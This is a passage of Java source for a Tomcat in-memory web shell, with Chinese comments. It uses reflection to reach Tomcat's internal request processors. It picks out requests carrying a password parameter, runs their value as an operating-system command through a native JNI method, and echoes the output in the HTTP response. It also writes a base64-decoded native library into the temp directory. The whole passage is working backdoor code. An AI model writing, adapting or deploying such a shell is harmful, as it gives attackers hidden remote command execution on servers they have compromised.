                    org.apache.tomcat.util.net.AbstractEndpoint.Handler connectionHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);

                    //获取RequestGroupInfo
                    java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                    globalField.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectionHandler);

                    //获取RequestGroupInfo中储存了RequestInfo的processors
                    java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                    processorsField.setAccessible(true);
                    java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                    for (int k = 0; k < list.size(); k++) {
                        org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k);
                        if (requestInfo.getCurrentQueryString().contains(pass)) {
                            //获取request
                            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
                            requestField.setAccessible(true);
                            org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                            //执行命令
                            String cmd = request.getParameter(pass);
                            if (cmd != null) {
                                String in = JNIMemShell.exec(cmd);
                                java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
                                String output = s.hasNext() ? s.next() : "";
                                //回显
                                java.io.Writer writer = request.getResponse().getWriter();
                                java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
                                usingWriter.setAccessible(true);
                                usingWriter.set(request.getResponse(), Boolean.FALSE);
                                writer.write(output);
                                writer.flush();
                            }
                            break;
                        }
                        break;
                    }
                    break;
                }
            }
            System.out.println("Tomcat JNI MemShell Injecting");

        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static native String exec(String cmd);

    /**
     * 写JNI链接库文件
     * @param base64 JNI动态库Base64
     * @return 返回是否写入成功
     */
    public  static  String getJNILibFile(String base64) throws IOException {
        if (base64 != null) {
            File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");

            if (!jniDir.exists()) {
                jniDir.mkdir();
            }

            File jniFile =  new File(jniDir, filename);

            // 先删除已存在的 DLL 文件
            if (jniFile.exists()) {
                jniFile.delete();
            }

            byte[] bytes = base64Decode(base64);
            if (bytes != null) {
                try (FileOutputStream fos = new FileOutputStream(jniFile)) {
                    fos.write(bytes);
                    fos.flush();
                }
            }
            return jniFile.getAbsolutePath();
        }
        return "";
    }
    static byte[] base64Decode(String str) {
        try {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (ClassNotFoundException e) {
                Class  clazz   = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        } catch (Exception e) {
            return null;
        }
    }
}